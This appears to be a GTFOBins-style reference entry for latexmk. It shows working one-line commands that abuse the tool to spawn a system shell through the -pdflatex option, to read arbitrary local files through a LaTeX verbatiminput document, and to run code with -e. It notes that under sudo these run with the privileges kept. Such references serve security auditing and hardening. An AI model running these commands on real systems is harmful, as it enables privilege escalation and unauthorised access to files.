This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
latexmk -pdf -pdflatex='/bin/sh #' /dev/null
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
latexmk -pdf -pdflatex='/bin/sh #' /dev/null
This executable can read data from local files.
This function can be performed by any unprivileged user.
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
latexmk -dvi /path/to/temp-file
strings temp-file.dvi
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
latexmk -dvi /path/to/temp-file
strings temp-file.dvi
This executable can inherit functions from another.
This function can be performed by any unprivileged user.
latexmk -e '...'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
latexmk -e '...'